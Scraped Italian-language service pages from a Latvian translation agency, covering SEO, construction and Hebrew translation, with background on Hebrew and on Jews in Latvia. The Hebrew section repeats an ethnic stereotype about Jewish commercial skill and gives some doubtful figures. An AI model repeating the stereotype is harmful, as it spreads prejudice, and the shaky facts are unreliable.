ma modificando come essa è espressa, così che possa comunicare direttamente con gli utenti locali. Quando si fanno annunci pubblicitari in mercati di diversa cultura e maniere, formalità e stile sono particolarmente importanti. TRADUZIONI SEO A seconda della corrispondenza con le parole chiave inserite dall’utente e dei suoi potenziali bisogni, i quali sono identificati dal browser, i siti web avranno una posizione migliore o peggiore nei risultati di ricerca. Gli specialisti di localizzazione di Skrivanek conoscono bene i principi SEO, quindi, quando si occupano della localizzazione di siti web per i mercati locali, essi prendono in considerazione come il sito web si posizionerà nei risultati di ricerca. PRINCIPI SEO Un sito web creato e localizzato secondo i principi SEO avrà una posizione migliore nei risultati di ricerca organici (per buon posizionamento si intende solitamente le prime tre pagine di ricerca). Quando i nostri specialisti localizzano il vostro sito web tengono bene a mente le parole chiave e l’obiettivo imposto, così da darvi la garanzia che il vostro sito web soddisfi sia i requisiti del browser che i desideri del pubblico target. I siti web in linea con i principi SEO hanno diversi vantaggi fondamentali: si posizionano meglio nei risultati di ricerca; corrispondono più accuratamente alle ricerche degli utenti, riducendo quindi le probabilità che il potenziale cliente esca dal vostro sito web subito dopo averlo visitato (è indice del fatto che il sito web è stato mostrato ad un pubblico di utenti sbagliato); migliorano l’esperienza utente: ci sono più probabilità che l’utente trovi esattamente ciò che sta cercando; c’è un maggiore ritorno sull'investimento. COME FANNO I NOSTRI SPECIALISTI DELLA LOCALIZZAZIONE A CREARE LE MIGLIORI TRADUZIONI SEO? Tradurre parole chiave richiede un lavoro accurato e meticoloso. Ma le traduzioni SEO hanno un altro aspetto importante: è necessario comprendere la competitività di determinate parole chiave nella lingua di arrivo ed essere al corrente di parole simili. Per scegliere le migliori parole chiave è necessario ricercare quali sono le parole utilizzate nella lingua di arrivo (e con quale frequenza). Questo è un compito che può essere svolto sia dal vostro specialista SEO che dai nostri specialisti. Il più delle volte, le traduzioni SEO sono accompagnate da una lista di parole chiave nella lingua di partenza. Esse sono poi abbinate con le parole chiave nella lingua di arrivo migliori e più appropriate, così da preservare il significato originale, usando comunque sempre parole comuni e di uso diffuso. COME POSSIAMO AIUTARVI CON LE TRADUZIONI SEO E DI GOOGLE ADS? Dati i cambiamenti del mercato, quello delle traduzioni SEO e di Google Ads è uno degli ambiti della localizzazione che sta crescendo più velocemente. Skrivanek Baltic vanta oltre 25 anni di esperienza nel settore della traduzione e il nostro team comprende specialisti della localizzazione che lavorano con oltre 110 combinazioni linguistiche. I nostri specialisti della localizzazione hanno la conoscenza ed esperienza specifica necessarie per eseguire anche le traduzioni SEO e di Google Ads più difficili. DOMANDE FREQUENTI Forniamo una grande varietà di servizi linguistici: servizi di traduzione e di interpretazione, servizi di localizzazione, di adattamento di testi, di copywriting, di desktop publishing (DTP) e di formazione linguistica. I servizi di interpretazione vengono forniti in occasione di conferenze e incontri di lavoro, ma anche durante procedimenti giudiziari. I servizi di traduzione comprendono invece traduzioni specialistiche e generali relative a diversi settori. Nonostante la maggior parte dei nostri clienti siano persone legali, aiutiamo con piacere anche i privati, i quali solitamente ci richiedono traduzioni certificate da un notaio. Sono molto popolari anche i campi studio per bambini e i corsi di lingua. No, sono i project manager che accettano e supervisionano gli ordini; essi fanno anche da tramite tra il cliente finale e il traduttore. I traduttori e gli interpreti di Skrivanek Baltic possono fornire servizi in più di 110 lingue. AVETE BISOGNO DI UNA TRADUZIONE SEO O DI GOOGLE ADS? CERCATE UNA SOLUZIONE LINGUISTICA O UNA CONSULENZA? Prepareremo il servizio giusto per voi e vi consulteremo sull’argomento di vostro interesse. Invia una richiesta OPERIAMO NEL MERCATO DA OLTRE 25 ANNI! Abbiamo una grande esperienza nella traduzione di testi di diversi argomenti. 0+ Diverse combinazioni linguistiche 0+ million Parole tradotte nel 2023 0+ Specialisti della lingua 0 Certificati ISO AFFIDABILITÀ, VELOCITÀ E SERVIZI DI QUALITÀ KRKA D. D. Gli impiegati di Skrivanek sono disponibili, gentili e approcciano con competenza le specifiche dei progetti di traduzione in ambito farmaceutico assegnatigli, come anche le traduzioni in diverse combinazioni linguistiche. Gli ordini sono eseguiti sempre nelle tempistiche stabilite e secondo standard elevati, nel rispetto della massima competenza etica e professionale.  SANDOZ D. D. Skrivanek Baltic è un partner su cui poter contare e con cui consigliamo di collaborare per qualsiasi progetto di grandi dimensioni che richiede servizi linguistici professionali.  ADIDAS BALTICS I dipendenti di Skrivanek sono disponibili e approcciano con competenza le specifiche delle traduzioni dalle lingue baltiche che gli assegniamo. Adidas Baltic consiglia anche alle altre aziende di affidarsi ai servizi linguistici di questa agenzia di traduzione.  --- > Servizi di qualità per il settore edile: traduzione, interpretariato, certificazione notarile. Localizzazione e formazione linguistica. Per saperne di più! - Published: 2024-02-09 - Modified: 2024-02-09 - URL: https://skrivanek.lv/tulkosanas-nozares/specializetie-tulkojumi-buvniecibas-nozare/ Chi lavora nel settore edile, sa bene quanto siano importanti precisione e scadenze. Ogni dettaglio, anche il più piccolo, ha un ruolo fondamentale, perciò non sono ammesse deviazioni. Quindi è importante che ogni soggetto coinvolto nel processo sia responsabile del proprio operato. Skrivanek fornisce alle imprese edili servizi di traduzione e interpretazione accurati e tecnicamente precisi, ma anche altri servizi linguistici. Inoltre, rispettiamo sempre le scadenze con rigore. Il nostro team è composto da individui che conoscono l’edilizia e che hanno una formazione in materia, mentre i nostri esperti project manager fanno del loro meglio per garantire che il lavoro venga svolto senza intoppi, anche nei progetti più difficili. Che abbiate bisogno di una traduzione scritta o del servizio di un interprete durante incontri di lavoro, i linguisti specializzati di Skrivanek garantiranno risultati di altissima qualità per tutte le tipologie di traduzione, come pubblicazioni aziendali, regolamenti e capitolati d’appalto, vari materiali di marketing, documentazione tecnica di progetto, e ogni altro testo di cui necessitate traduzione Il nostro team di linguisti specializzati è composto non soltanto da persone con una formazione filologica, ma anche da individui con formazione in ambito ingegneristico, cosa fondamentale per garantire l’uso corretto della terminologia. Che siano documenti riguardanti la costruzione di edifici o di strade, lavori specializzati di edilizia interna, impianti elettrici, servizi di architettura, o qualsiasi altro lavoro di edilizia, presteremo attenzione a ogni dettaglio, perché è l’unico modo per garantire traduzioni di altissima qualità. SKRIVANEK FORNISCE I SEGUENTI SERVIZI PER IL SETTORE EDILE IN TUTTE LE PRINCIPALI LINGUE EUROPEE: traduzione di documentazione tecnica per appalti e di ogni loro fase; traduzione di vari materiali di marketing in formato digitale e cartaceo, tra cui anche materiale di vendita, schede prodotto e brochure; traduzione e formattazione di disegni tecnici e schemi, compresi i servizi di desktop publishing (DTP); traduzione di accordi di costruzione, regolamenti e licenze; traduzione di preventivi e certificati; traduzioni per il settore dell’architettura; interpretazione simultanea o consecutiva in occasione di vari eventi, tra cui conferenze, pranzi o cene di lavoro e incontri di lavoro; formazione linguistica specializzata; e altre soluzioni linguistiche di cui potreste aver bisogno. STATE ANCORA CERCANDO LA LINGUA GIUSTA O UNA CONSULENZA? Invia una richiesta SKRIVANEK FORNISCE I SEGUENTI SERVIZI PER IL SETTORE EDILE IN TUTTE LE PRINCIPALI LINGUE EUROPEE: traduzione di documentazione tecnica per appalti e di ogni loro fase; traduzione di vari materiali di marketing in formato digitale e cartaceo, tra cui anche materiale di vendita, schede prodotto e brochure; traduzione e formattazione di disegni tecnici e schemi, compresi i servizi di desktop publishing (DTP); traduzione di accordi di costruzione, regolamenti e licenze; traduzione di preventivi e certificati; traduzioni per il settore dell’architettura; interpretazione simultanea o consecutiva in occasione di vari eventi, tra cui conferenze, pranzi o cene di lavoro e incontri di lavoro; formazione linguistica specializzata; e altre soluzioni linguistiche di cui potreste aver bisogno. STATE ANCORA CERCANDO LA LINGUA GIUSTA O UNA CONSULENZA? Invia una richiesta Settore assicurativo Edilizia Risorse umane Finanza e settore bancario IT e gaming Agricoltura Diritto Silvicoltura Settore Ingegneristico e ferroviario Sperimentazione medica e clinica Settore manifatturiero Pubblicità e marketing Commercio Turismo Istituzioni governative e municipali AFFIDABILITÀ, VELOCITÀ E SERVIZI DI QUALITÀ KRKA D. D. Gli impiegati di Skrivanek sono disponibili, gentili e approcciano con competenza le specifiche dei progetti di traduzione in ambito farmaceutico assegnatigli, come anche le traduzioni in diverse combinazioni linguistiche. Gli ordini sono eseguiti sempre nelle tempistiche stabilite e secondo standard elevati, nel rispetto della massima competenza etica e professionale.  SANDOZ D. D. Skrivanek Baltic è un partner su cui poter contare e con cui consigliamo di collaborare per qualsiasi progetto di grandi dimensioni che richiede servizi linguistici professionali.  ADIDAS BALTICS I dipendenti di Skrivanek sono disponibili e approcciano con competenza le specifiche delle traduzioni dalle lingue baltiche che gli assegniamo. Adidas Baltic consiglia anche alle altre aziende di affidarsi ai servizi linguistici di questa agenzia di traduzione.  --- > I nostri traduttori hanno un passato in medicina, legge, ingegneria e altri settori, il che contribuisce a garantire i migliori risultati. ⭐️ - Published: 2024-02-09 - Modified: 2024-10-21 - URL: https://skrivanek.lv/tulkosanas-nozares/ Settore assicurativo Edilizia Risorse umane Finanza e settore bancario IT e gaming Agricoltura Diritto Silvicoltura Settore Ingegneristico e ferroviario Sperimentazione medica e clinica Settore manifatturiero Pubblicità e marketing Commercio Turismo Istituzioni governative e municipali AFFIDABILITÀ, VELOCITÀ E SERVIZI DI QUALITÀ KRKA D. D. Gli impiegati di Skrivanek sono disponibili, gentili e approcciano con competenza le specifiche dei progetti di traduzione in ambito farmaceutico assegnatigli, come anche le traduzioni in diverse combinazioni linguistiche. Gli ordini sono eseguiti sempre nelle tempistiche stabilite e secondo standard elevati, nel rispetto della massima competenza etica e professionale.  SANDOZ D. D. Skrivanek Baltic è un partner su cui poter contare e con cui consigliamo di collaborare per qualsiasi progetto di grandi dimensioni che richiede servizi linguistici professionali.  ADIDAS BALTICS I dipendenti di Skrivanek sono disponibili e approcciano con competenza le specifiche delle traduzioni dalle lingue baltiche che gli assegniamo. Adidas Baltic consiglia anche alle altre aziende di affidarsi ai servizi linguistici di questa agenzia di traduzione.  --- > Traduzioni generali e specializzate, interpretariato e altre soluzioni linguistiche in lingua ebraica. Ottenete un qoate gratuito! - Published: 2024-02-09 - Modified: 2024-08-22 - URL: https://skrivanek.lv/citas-valodas-tulkojumi-110-valodas/tulkojumi-ebreju-valoda/ - Translation Priorities: Optional TRADUZIONI DA E VERSO L’EBRAICO QUANTO COSTANO LE TRADUZIONI DA E VERSO L’EBRAICO? Prima di realizzare ogni progetto di traduzione, i project manager della nostra agenzia di traduzione analizzano con cura il materiale da tradurre e determinano il prezzo di ogni ordine singolarmente. Il costo del servizio dipende da diversi fattori, come i termini di consegna del lavoro, la specificità del contenuto del testo, la revisione, la formattazione, e altri servizi richiesti dal cliente (certificazione notarile, ecc. ). È DISPONIBILE IL LISTINO PREZZI? Sì, il listino prezzi dei servizi di traduzione da/verso l’ebraico si trova nell’accordo di collaborazione che stipuliamo con i nostri clienti, i quali vengono sempre informati sul prezzo del servizio prima della realizzazione del progetto. Il prezzo di ogni ordine varia di volta in volta in base alle caratteristiche del servizio di traduzione (traduzione scritta o interpretazione), al numero di parole nel testo di partenza, alle ripetizioni e ad altre caratteristiche. Volete sapere quanto costa la vostra traduzione? Mandateci il materiale da tradurre e vi proporremo un prezzo personalizzato. Avete bisogno di un servizio di traduzione da/verso l’ebraico? O di una combinazione tra un servizio di traduzione e uno commerciale correlato? Contattate Skrivanek Baltic oggi stesso per ricevere un preventivo gratuito! Forniamo i seguenti servizi in lingua ebraica: Traduzione di documenti in ebraico Interpretazione simultanea in ebraico Validazione linguistica di traduzioni in ebraico Interpretazione consecutiva in ebraico Trascrizione in ebraico Grafica e composizione tipografica in ebraico Servizi di voice over e di sottotitolaggio in ebraico Servizi di selezione dello staff ebraico Marketing multiculturale in ebraico Gestione dei documenti in ebraico Servizi di deposizione in ebraico Servizi di data room virtuali in ebraico Supporto per l'e-learning in ebraico Cercate un servizio linguistico in ebraico? Prepareremo il servizio giusto per voi e vi consulteremo sull’argomento di vostro interesse. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Cliente *PrivatoAzienda Nome e cognome *Telefono Aggiungere Rimuovere Nome e cognome *Telefono Aggiungere Rimuovere Nome dell'azienda *Telefono Aggiungere Rimuovere Nome dell'azienda *Telefono Aggiungere Rimuovere E-mail *Combinazione di lingue Aggiungere Rimuovere E-mail *Combinazione di lingue Aggiungere Rimuovere MessaggioAggiungete un documento fino a 20 MB; se le dimensioni del documento sono maggiori, specificatelo nel messaggio e vi contatteremo. Click or drag files to this area to upload. You can upload up to 10 files. Come ci hai conosciuto? Come ci hai conosciuto? Sono già cliente di SkrivanekTramite ricerca GoogleAmici/conoscentiFacebookTwitterLinkedInInstagramPubblicità esterna (cartelloni pubblicitari, ecc. )FieraQuotidiani, giornali, riviste, ecc. Altrove *Acconsento al trattamento dei miei dati personali ai fini della presente richiesta in conformità con l'Informativa sulla privacy. di Skrivanek Baltic. Invia Qualità e riservatezza garantite dai certificati ISOI nostri project manager parlano lettone, russo, inglese, tedesco e polaccoIl 99% dei clienti riceve un’offerta di prezzo in meno di 15 minutiPiù di 3000 professionisti della lingua e madrelinguaOltre il 98% dei nostri clienti ci consiglierebbe ai loro amici e partnerTraduciamo ogni anno più di 16 milioni di parole ALCUNI FATTI SULL’EBRAICO L'ebraico è una lingua giudaica moderna appartenente alla famiglia delle lingue semitiche. Esso è anche la lingua liturgica dell'ebraismo. Come lingua parlata, l’ebraico scomparve attorno al quarto secolo, per poi essere ripresa all’inizio degli anni ottanta dell’ottocento dagli ebrei sefarditi. Israele ha una popolazione di circa 8 milioni di persone, e la maggior parte di esse sono ebrei (76,4%). Ma nel paese vivono anche altri gruppi etnici, come gli arabi, i palestinesi, ma anche i membri di altri gruppi etnico-religiosi, come ad esempio i samaritani, i drusi, gli yazidi, ecc. L'ebraico è una delle due lingue ufficiali di Israele. Nonostante non fosse praticamente più parlato nel 200 d. C. , gli ebrei continuarono ad utilizzarlo come lingua sacra nella liturgia, nei testi filosofici e nella letteratura. Poi, alla fine del XIX secolo, l’ebraico diventò una forma moderna di espressione culturale e giocò poi un ruolo importante nel movimento di risveglio nazionale. Durante l'Impero britannico, l'ebraico, insieme all'inglese e all'arabo, divenne una lingua ufficiale. Iniziò così ad essere utilizzato da organizzazioni ed enti di istruzione ebraici. Poi, con l’arrivo di una nuova generazione di autori e lettori, la stampa e la letteratura ebraica vide un forte sviluppo. Oggi l'ebraico è una lingua ricca, colorata e viva. Dai tempi della Bibbia, quando erano utilizzate solo 8. 000 parole, il vocabolario dell’ebraico è cresciuto molto, arrivando a più di 120. 000. È l’Accademia ebraica, fondata nel 1953, ad occuparsi dello sviluppo linguistico formale della lingua. Tra i maggiori promotori dell’ebraico come lingua parlata, sicuramente Eliezer Ben-Yehuda (1858–1922) occupa un posto di rilievo. Una volta trasferitosi in Israele nel 1881, egli promosse l’uso dell’ebraico in ambiente domestico e nelle scuole. Creò migliaia di nuove parole, pubblicò due periodici in ebraico, e fu anche coinvolto nella fondazione del Comitato della lingua ebraica (1890) Inoltre, egli lavorò alla scrittura del “Dizionario completo di ebraico antico e moderno”, compilando alcuni dei suoi 17 volumi. Egli iniziò a lavorare al dizionario nel 1910 e il testo fu completato nel 1959 dalla sua seconda moglie e da suo figlio. Il primo testo in prosa in ebraico moderno fu creato grazie ad autori immigrati. Nonostante essi fossero originari di diverse parti del mondo e molte delle tradizioni avessero radici impiantate nella cultura ebraica dell’est Europa, le loro opere descrivevano principalmente le conquiste raggiunte nella terra di Israele, dove arrivarono seguendo lo slogan sionista: "Costruire ed essere costruiti". L'ALFABETO EBRAICO L’alfabeto ebraico è un sistema di scrittura utilizzato per scrivere in ebraico e in altre lingue giudaiche. Storicamente, per scrivere in ebraico erano utilizzate due tipologie di scritture abjad. La prima nonché più antica tipologia, conosciuta anche come alfabeto paleo-ebraico, si è preservata principalmente come variante dell’alfabeto samaritano. La seconda tipologia invece, la quale è più recente, è tutto il contrario della prima. Essa è una forma stilizzata dell’alfabeto aramaico ed il suo nome tecnico è Ktav Ashuri (letteralmente “alfabeto assiro”), poiché lo si considerava come originario dell’Assiria. Le prime attestazioni della versione ebraica dell’alfabeto fenicio, che i ricercatori chiamano alfabeto paleo-ebraico, risalgono all’800 a. C. Per quanto riguarda l’alfabeto aramaico, le più antiche testimonianze di questo tipo di scrittura in questa regione sono il Calendario di Gezer (X secolo a. C. ) e le Iscrizioni di Siloam (attorno al VII secolo a. C. ), le quali sono state ritrovate nel tunnel di Ezechia. Poi, nel III secolo a. C. , gli ebrei iniziarono ad utilizzare una forma stilizzata e quadrata dell’alfabeto aramaico, il quale era utilizzato dal primo Impero persiano, mentre i samaritani continuavano scrivere con l’alfabeto paleo-ebraico, detto alfabeto samaritano. Dopo il crollo dell'Impero persiano nel 330 a. C. , gli ebrei utilizzarono entrambe le varianti di scrittura, per poi tornare alla scrittura assira quadrata. L’alfabeto ebraico “quadrato” fu poi adattato ed utilizzato per scrivere le lingue della diaspora ebraica, come ad esempio il caraito, l’arabo-giudeo, il giudeo-spagnolo e l’yiddish. In seguito, quando nel XVIII e XIX secolo la lingua ebraica fu reintrodotta, soprattutto in Israele, l’alfabeto ebraico fu ripreso e utilizzato nelle scuole e nella vita di tutti i giorni. L'alfabeto ebraico è composto da 22 lettere e il verso di scrittura è da destra a sinistra. Questo non vale per i numeri, i quali sono scritti da sinistra a destra. Un fatto interessante dell’ebraico è che non ci sono lettere maiuscole, né a inizio frase né all’inizio di nomi di persone o titoli. L’alfabeto ebraico è uno dei pochi al mondo praticamente privo di vocali. Esse sono contrassegnate da segni speciali; per essere precisi, è utilizzato un sistema di segni diacritici, come ad esempio punti e trattini detti “NEKUDOT”. Nonostante le lettere in stampatello non siano utilizzate nella scrittura, è necessario saperle leggere. Nel testo le lettere non sono collegate fra loro, anche se è raramente permesso connetterle quando si scrive velocemente Tutte le lettere hanno la stessa dimensione e quando scritte a mano sono di forma ovale o semi-circolare. Ogni lettera rappresenta anche un numero specifico, ad esempio ALEF è 1, BET è 2 e così via. Nel corso dei secoli, le lettere dell’alfabeto hanno avuto vari ruoli nella letteratura religiosa ebraica, soprattutto in testi di carattere mistico. Sono molte le fonti di letteratura rabbinica classica che riconoscono l’origine storica dell’alfabeto ebraico che è oggigiorno in uso. Da un punto di vista mistico, l’alfabeto è visto come eterno, precedente alla terra stessa, e le sue lettere sono sacre e potenti, a volte a tal punto che in molte delle storie del Talmud (il principale testo degli ebrei e dell’ebraismo per quanto riguarda le leggi ebraiche) c’è l’idea che esse non possono essere distrutte. QUANTO È DIFFICILE LA LINGUA EBRAICA? Secondo i dati del Foreign Service Institute, sono necessarie 11. 000 ore o 44 settimane di studio per raggiungere un livello di padronanza della lingua di quarto o quinto livello. Seguendo le 4 categorie linguistiche individuate dall’ ACTFL (American Council on the Teaching of Foreign Languages), l’ebraico si classifica al terzo posto fra le lingue più difficili da imparare per un anglofono (più difficile di spagnolo e tedesco, alla pari di russo e turco, ma più facile di arabo e cinese). Per questo motivo, l’apprendimento dell’ebraico rappresenta una stimolante sfida intellettuale per adulti e bambini e favorisce uno sviluppo positivo delle capacità di pensiero negli studenti di ogni età. Essendo una delle lingue più antiche del mondo e utilizzando un alfabeto unico, l’ebraico è molto difficile da imparare. Il suo alfabeto ha una storia secolare unica e senza eguali in nessun altra lingua. Perciò sarà necessario imparare un alfabeto e dei simboli completamente nuovi che sono estranei alle altre lingue. Naturalmente, non c’è modo migliore per imparare l’ebraico se non trovarsi in un ambiente dove la lingua è utilizzata su base giornaliera. La lingua ebraica ha due forme: la lingua orale moderna e la lingua liturgica. Conoscerle dà la possibilità di imparare la storia, la religione, le tradizioni e la cultura. L’ebraico si scrive da destra a sinistra e ha molti suoni difficili da pronunciare che possono essere nuovi per chi parla altre lingue. Ebraico israeliano moderno o ebraico biblico? L'ebraico biblico è una lingua statica e il suo vocabolario è ridotto, cosa che la rende più facile. Inoltre, essendo una lingua solo scritta, è necessario solo imparare a leggerlo. Se si vuole imparare l’ebraico per leggere le Sacre scritture in lingua originale e capirne il contenuto, saranno necessari 18 mesi di studio intenso, o 24 prendendosela con più calma. L'ebraico moderno è invece più difficile e per impararlo la cosa migliore è andare in Israele. Spesso accade che studenti motivati imparino la lingua in circa sei mesi, lasciando tuttavia un po’ indietro la competenza scritta. Vivendo in Israele, solitamente dopo un anno si riesce a partecipare a conversazioni quotidiane, a scrivere semplici testi e a leggere giornali comprendendo circa l’80% del contenuto. DOVE E QUANTE PERSONE PARLANO EBRAICO? Nel III secolo d. C. l'ebraico era considerato una lingua morta. Tuttavia, dopo più di mille anni la lingua è stata riportata in vita, rendendola un caso unico nel mondo. Al giorno d’oggi, l’ebraico è parlato da circa 7 milioni di persone in Israele e da due milioni nel resto del mondo. In Israele ci sono due lingue ufficiali: l’ebraico e l’arabo. L’ebraico è utilizzato non solo in Israele, ma anche in molte altre nazioni del mondo. In esse si trovano grandi comunità di ebrei, come ad esempio negli Stati uniti (dove gli ebrei sono più di cinque milioni), in Francia (circa 490. 000 ebrei) e in Canada (circa 375. 000 ebrei). ma comunità di parlanti sono presenti anche in Belgio, Svezia, Francia, Germania, Gran Bretagna e in altre nazioni europee. I NOSTRI INTERPRETI E TRADUTTORI DI EBRAICO L'agenzia di traduzione Skrivanek fornisce servizi di interpretazione e di traduzione scritta professionali in ebraico e dall’ebraico al lettone. Il nostro team di traduttori vi aiuterà con traduzioni sia normali che autenticate. Troveremo la soluzione e il linguista specializzato in ebraico più adatti per soddisfare tutti i bisogni dei nostri clienti. Per i privati forniamo soprattutto Per i privati, eseguiamo traduzioni da/verso l’ebraico di documenti di identificazione personale, di certificati di matrimonio, di documenti relativi all’istruzione o alla formazione, di documentazione medica, nonché di altri documenti. Forniamo inoltre servizi di interpretazione da/verso l’ebraico ad esempio nei tribunali. L’EBRAICO NEL COMMERCIO L’importanza dell’ebraico nel commercio internazionale è in aumento e, data la costante crescita di Israele nel mercato mondiale, imparare l’ebraico può apportare dei vantaggi concreti. Di fatti, Israele si trova al terzo posto per numero di società quotate sul mercato NASDAQ. A questo paese è inoltre riconosciuta un’importanza internazionale nel futuro del settore della tecnologia, ed è un gigante nel campo delle innovazioni. Di fatti, questa nazione è leader mondiale nella spesa nel settore della ricerca e sviluppo e nell’investimento di capitale di rischio; essa è anche sede di centri di ricerca e sviluppo di importanza globale, come ad esempio Google, Apple e IBM. Inoltre, dato l’aumento dell’influenza e del significato di Israele, la conoscenza della lingua ebraica e della moderna cultura israeliana laica è molto importante per il futuro degli studenti e delle relazioni commerciali. Per di più, sono molti coloro che lavorano in ambito governativo, nelle scienze politiche, o in settori come quello diplomatico, quello della ricognizione o quello militare che vorrebbero imparare questa lingua. Considerando anche la grande comunità ebraica negli Stati uniti, nel caso in cui si preferisca avere a che fare con partner commerciali ebraici, vale davvero la pena imparare la lingua per sviluppare, oppure instaurare, relazioni commerciali con aziende in Israele e negli Stati uniti. Vale anche la pena menzionare che l’antico popolo ebraico è famoso per le sue abilità nell’ambito commerciale e nel marketing, perciò è sicuramente cosa buona sapere almeno qualche frase di cortesia in ebraico, così da poter mostrare lealtà e supporto ai partner commerciali provenienti da Israele. EBREI IN LETTONIA Grazie al duca della Curlandia, il quale aveva bisogno di individui abili nella gestione delle finanze, già alla fine del XVI secolo erano presenti insediamenti ebraici nel territorio che oggi chiamiamo Lettonia. A metà del XIX secolo erano già 23. 000 gli ebrei che, trasferitosi in Lettonia dalla Germania, vivevano in Curlandia. Essi iniziarono a stabilirsi nelle regioni orientali della Lettonia nel XVII secolo, mentre le prime comunità ebraiche a Riga si formarono nella seconda metà del XVIII. Date le varie limitazioni imposte su questo popolo fin dall’inizio e la crescita del sentimento antisemita, nel tempo molti ebrei lasciarono la Lettonia trasferendosi in altre nazioni. Dopo la Prima guerra mondiale, essi divennero politicamente attivi e alcuni di loro furono anche eletti al Parlamento lettone, ossia alla Saeima, e ai comuni delle città. Tuttavia, con l’arrivo al potere di Kārlis Ulmanis, gli ebrei si ritrovarono ad affrontare ancora delle limitazioni, e ciò causò un nuovo flusso emigratorio dalla Lettonia. In seguito, dopo la Seconda guerra mondiale, 14. 000 membri della comunità ebraica lasciarono la Lettonia, i quali si riunirono con gli ebrei provenienti da altre regioni dell’Unione sovietica. Tuttavia, quando la Lettonia divenne indipendente, la vita sociale della comunità ebraica riprese vigore in molte città della nazione. Nel 1988 fu fondata l’odierna Comunità ebraica di Riga che al tempo si chiamava invece Società lettone per la cultura ebraica. Inoltre, nel 2003 è stato fondato il Consiglio delle comunità ebraiche della Lettonia. Oggigiorno, la comunità ebraica in Lettonia è composta da più di 10. 000 ed è la seconda comunità ebraica più estesa della regione del Mar baltico. Le relazioni diplomatiche tra Lettonia ed Israele sono state instaurate il 6 gennaio 1992, mentre nell’ottobre 1992 Israele ha stabilito la propria ambasciata in Lettonia. L'ambasciata lettone in Israele è invece attiva dal 21 febbraio 1995. La collaborazione tra gli istituti di istruzione superiore israeliani e lettoni è molto attiva nell’ambito dell’istruzione e della ricerca, anche per quanto riguarda lo scambio di studenti e professori, la partecipazione in programmi di ricerca e borse di studio e di ricerca. Il Centro di studi giudaici presso l’Università della Lettonia (fondato nel 1998) dà a studenti, ricercatori e non solo l’opportunità di conoscere la storia, la filosofia, la lingua, la cultura e le idee religiose ebraiche organizzando lezioni, scrivendo pubblicazioni e allestendo attività di ricerca. Inoltre, è dal 2006 che il Dipartimento di studi asiatici presso l’Università della Lettonia propone un corso di studio che dà la possibilità di conoscere la lingua giudaica, un’antica lingua ebraica, e la moderna lingua e cultura ebraica. L’Accademia delle scienze lettone e quella israeliana hanno in atto una collaborazione che comprende lo scambio di informazioni e il lavoro su pubblicazioni congiunte. Il 1° settembre 1989 è stata inaugurato a Riga il primo istituto di istruzione secondaria ebraico, il quale fu intitolato a Simon Dubnov, e che è stato la prima scuola della minoranza ebraica in Lettonia. Esso è diventato una vera e propria leggenda, poiché è stata la prima scuola completamente ebraica nel territorio dell’ex Unione sovietica, Ma l'istruzione ebraica in Lettonia ha radici storiche profonde: fino al 1940, i bambini ebrei potevano imparare in lettone, ebraico, yiddish e tedesco. SERVIZI CHE FORNIAMO PIÙ SPESSO DA/VERSO L’EBRAICO: Traduzioni generali e specialistiche in lingua ebraica; traduzioni certificate da un notaio; localizzazione; traduzione automatica neurale; servizi di desktop publishing (DTP); adattamento di testi e copywriting; servizi di interpretazione in ebraico; corsi di lingua ebraica. COMBINAZIONI LINGUISTICHE: Da lettone a ebraico; da ebraico a lettone; da estone a ebraico; da ebraico a estone; da lituano a ebraico; da inglese a ebraico; da ebraico a lituano; da russo a ebraico; da ebraico a russo; da ceco a ebraico; da ebraico a ceco; da polacco a ebraico; da ebraico a polacco; da ucraino a ebraico; da ebraico a ucraino; dall'ebraico allo spagnolo; dallo spagnolo all'ebraico; dal tedesco all'ebraico; dall'italiano all'ebraico; dall'ebraico all'italiano; dal francese all'ebraico; dall'ebraico al francese; dal danese all'ebraico; dall'ebraico al danese; dal norvegese all'ebraico; dall'ebraico al norvegese; dallo svedese all'ebraico; dall'ebraico allo svedese; dal finlandese all'ebraico; dall'ebraico al finlandese, ma anche altre combinazioni. SERVIZI CHE FORNIAMO PIÙ SPESSO DA/VERSO L’EBRAICO: Traduzioni generali e specialistiche in lingua ebraica; traduzioni certificate da un notaio; localizzazione; traduzione automatica neurale; servizi di desktop publishing (DTP); adattamento di testi e copywriting; servizi di interpretazione in ebraico; corsi di lingua ebraica. COMBINAZIONI LINGUISTICHE: Da lettone a ebraico; da ebraico a lettone; da estone a ebraico; da ebraico a estone; da lituano a ebraico; da inglese a ebraico; da ebraico a lituano; da russo a ebraico; da ebraico a russo; da ceco a ebraico; da ebraico a ceco; da polacco a ebraico; da ebraico a polacco; da ucraino a ebraico; da ebraico a ucraino; dall'ebraico allo spagnolo; dallo spagnolo all'ebraico; dal tedesco all'ebraico; dall'italiano all'ebraico; dall'ebraico all'italiano; dal francese all'ebraico; dall'ebraico al francese; dal danese all'ebraico; dall'ebraico al danese; dal norvegese all'ebraico; dall'ebraico al norvegese; dallo svedese all'ebraico; dall'ebraico allo svedese; dal finlandese all'ebraico; dall'ebraico al finlandese, ma anche altre combinazioni. --- > Da oltre 25 anni sul mercato! Traduciamo documenti di qualsiasi tipo e formato. Ottenete un preventivo gratuito in 15 minuti! - Published: 2024-02-09 - Modified: 2024-08-22 - URL: https://skrivanek.lv/pakalpojumi/rakstiskie-tulkojumi/ Abbiamo più di 25 anni di esperienza nella fornitura di servizi di traduzione e siamo orgogliosi di essere tra i 100 maggiori fornitori di servizi di traduzione al mondo. Traduciamo documenti in più di 110 combinazioni linguistiche e impieghiamo traduttori e specialisti dell’ambito del testo da tradurre. In questo modo possiamo garantire traduzioni di alta qualità di testi appartenenti ai settori più disparati La nostra agenzia di traduzione ha ottenuto diverse certificazioni ISO. Possiamo quindi garantire traduzioni di alta qualità. Skrivanek è stata la prima agenzia di traduzione dell'Europa centrale ed orientale ad operare nel pieno rispetto della normativa sul sistema di gestione della qualità ISO 9001. Questo significa che la nostra azienda ha implementato i processi necessari per fare in modo che i servizi che offriamo soddisfino le richieste dei nostri clienti, come anche i requisiti imposti dalla legge. UN’AMPIA SCELTA DI LINGUE Il vantaggio della nostra agenzia di traduzione è l’ampia scelta di combinazioni linguistiche. Collaboriamo con traduttori e correttori di bozze provenienti da tutto il mondo e grazie a questa collaborazione possiamo tradurre il vostro testo in qualsiasi lingua abbiate bisogno. LINGUISTI ESPERTI E SPECIALISTI DEL SETTORE Grazie alla nostra esperienza pluriennale, linguisti esperti e specialisti di vari settori hanno deciso di lavorare nella nostra agenzia di traduzione . Possiamo quindi garantire testi tradotti e corretti con competenza, anche se caratterizzati da terminologia estremamente specifica. La certificazione EN 17100 è prova che la nostra azienda soddisfa i requisiti imposti in termini di scelta dello specialista da impiegare, di comunicazione, di project 